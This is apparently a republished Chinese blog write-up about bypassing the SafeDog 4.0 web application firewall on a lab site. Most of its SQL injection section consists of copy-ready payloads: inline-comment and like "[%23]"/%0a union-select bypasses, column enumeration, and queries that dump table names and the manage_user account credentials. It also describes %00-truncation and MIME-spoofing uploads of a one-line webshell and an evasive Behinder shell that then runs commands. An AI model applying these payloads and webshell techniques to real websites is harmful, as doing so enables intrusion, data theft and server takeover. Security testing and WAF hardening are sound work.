安全狗4.0绕过

admin 2022年11月8日10:52:20评论54 views字数 2938阅读9分47秒阅读模式

sql注入

注入点绕过

打开靶场,正常访问为此页面

安全狗4.0绕过
尝试测试注入点,打入payload直接被狗给拦截了。

安全狗4.0绕过

自此过狗开始,首先试一下之前学的内联注释绕过,/*!12345and*/发现被拦截了,这里尝试fuzz一下,发现更改内联注释内容还可以绕过成功。

安全狗4.0绕过

安全狗4.0绕过

安全狗4.0绕过

通过以下语句绕过成功
http://192.168.2.163/sqltest/showproducts.php?id=13/*!10444and*/1=1

内联注释绕过的原理:
/*!xxxxx*/内联注释的内容数字大于版本号时会将内容注释掉,当小于版本号时仍会被mysql执行。内容需5位数,经过测试发现,数字中有4会更可能绕过成功!所以/*!12345and*/ 1=1等价于and 1=1

安全狗4.0绕过

内联查询绕过

然后通过联合注入判断回显位置,但是在这一环节中自己尝试绕过很久没有成功,H老师甩我一个绕过的骚姿势,有一说一,着实牛逼。

首先通过fuzz发现没有过滤#字符。

安全狗4.0绕过

然后通过like "[%23]"语句进行绕过
id=-13 like "[%23]" /*!10444union%0aselect*/ --+
安全狗4.0绕过

绕过原理:

在mysql中为注释符,会注释掉#后面的语句。

同时like在mysql中是一个筛选的作用,那么以下语句的含义就是,先查询表中id=-13且存在#的数据(查询结果为空),执行后面的uinon select语句。

所以猜测当安全狗识别到查询语句有#,截断数据#后的语句不进行检查,然后发给服务器,但是mysql会执行该语句,从而达到绕过。
id=-13 like "[%23]" /*!10444union%0aselect*/--+
注:经过验证上述的猜测不完全对,安全狗对#截断后的数据还会做检查,只不过不够严谨,所以在union select中间再加入%0a换行即可绕过。

然后通过穷举的方式找出回显列数,经过测试发现,共有10列,且2,6,7,8,10可以回显数据。
id=-13 like "[%23]" /*!10444union%0aselect*/1 --+
id=-13 like "[%23]" /*!10444union%0aselect*/1,2 --+
id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3 --+
id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3,4 --+
id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3,4,5 --+
id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3,4,5,6 --+
id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3,4,5,6,7 --+
id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3,4,5,6,7,8 --+
id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3,4,5,6,7,8,9 --+
id=-13 like "[%23]" /*!10444union%0aselect*/1,2,3,4,5,6,7,8,9,10 --+

安全狗4.0绕过

通过绕过语句拿下数据库,这里对database()函数做了绕过,函数中间加入/*!10444*/,这里安全狗的规则猜测是database和()不能在一起。

id=-13 like "[%23]" /*!10444union%0aselect*/1,database(/*!10444*/),3,4,5,6,7,8,9,10 --+

安全狗4.0绕过

获取数据

通过上述的绕过方式,已经拿到数据库了,本以为可以轻松结束战斗拿到账号密码,没想到再获取数据的过程中又卡了我一个晚上,还是太菜了~

通过暴库语句可以查询到数据库(在sqllab靶场确定语句没有问题),也没有触发安全狗的规则,但是无法爆出表名。

爆表
id=-13 like "[%23]" /*!10444union%0aselect*/ 1,2,3,4,5,6,group_concat(table_name) from/*%23*/information_schema.tables where table_schema=database(/*!10444%0a*/),8,9,10 --+

安全狗4.0绕过

于是乎我打开之前打过的xycms靶场,测试同样的语句,回显跟实验室靶场相同无法获取表名,但是之前打靶场的时候使用sqlmap可以把数据跑出来。

百思不得其姐下把sqlmap代理到burp,抓包看看sqlmap到底做了什么操作竟然能把数据给搞出来。结果是sqlmap把表名爆出来了,但burp抓到的sqlmap响应包中同样没有数据,离谱==。

这里猜测网站对数据库的操作做了限制,或者对group_concat()语句做了限制,但是为什么sqlmap可以跑出来没有找到原因。

安全狗4.0绕过

第二天,潘神给了个建议,不用group_concat直接select查字段试试,果然,成了!

id=-13 like "[%23]" /*!10444union%0aselect*/1,table_name,3,4,5,6,7,8,9,10 from/*%23*/information_schema.tables where table_schema=database(/*!10444%0a*/)--+
注:from后面加如/*%23*/的方式绕过安全狗

安全狗4.0绕过
然后查字段,查值,最后拿到账号密码。

爆列
id=-13 like "[%23]" /*!10440union%0aselect*/ 1,column_name,3,4,5,6,7,8,9,10 from/*%23*/information_schema.columns where table_schema=database(/*!10444%0a*/) /*!10444and*/ table_name='manage_user' limit 1,2--+
爆值
id=-13 like "[%23]" /*!10440union%0aselect*/ 1,2,3,4,5,m_name,m_pwd,8,9,10 /*!10444from*/ /*%23*/manage_user --+
安全狗4.0绕过
通过md5解密拿到密码admin

安全狗4.0绕过

文件上传

看了很多篇文件上传绕过文章,尝试了很多种方法,脏数据填充、长文件名多种绕过方式,但都没绕过被拦截了,只成功了这一种。

%00截断绕过

首先搞个一句话木马

安全狗4.0绕过

上传一句话木马被安全狗拦截

安全狗4.0绕过

采用%00截断的方式绕过安全够,在burp中抓包,然后将%00做url解码

安全狗4.0绕过
但上传失败,网站显示文件类型不正确,网站本身也做了MIME文件校验。

安全狗4.0绕过

这里修改文件类型为png,再次上传,上传成功,成功绕过!

安全狗4.0绕过

使用冰蝎连接马子,但是这里发现连接失败。

安全狗4.0绕过

访问该文件时,发现马儿被安全狗给拦截了

安全狗4.0绕过

再上传一个免杀的冰蝎马儿,添加%00截断,修改文件类型、最后上传连接成功,并执行命令。

安全狗4.0绕过

安全狗4.0绕过




关 注 有 礼



欢迎关注公众号:网络安全者

后台回复:20221108

获取每日抽奖送书

       

本文内容来自网络,如有侵权请联系删除

安全狗4.0绕过

原文始发于微信公众号(网络安全者):安全狗4.0绕过

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月8日10:52:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   安全狗4.0绕过http://cn-sec.com/archives/1397619.html

发表评论

匿名网友 填写信息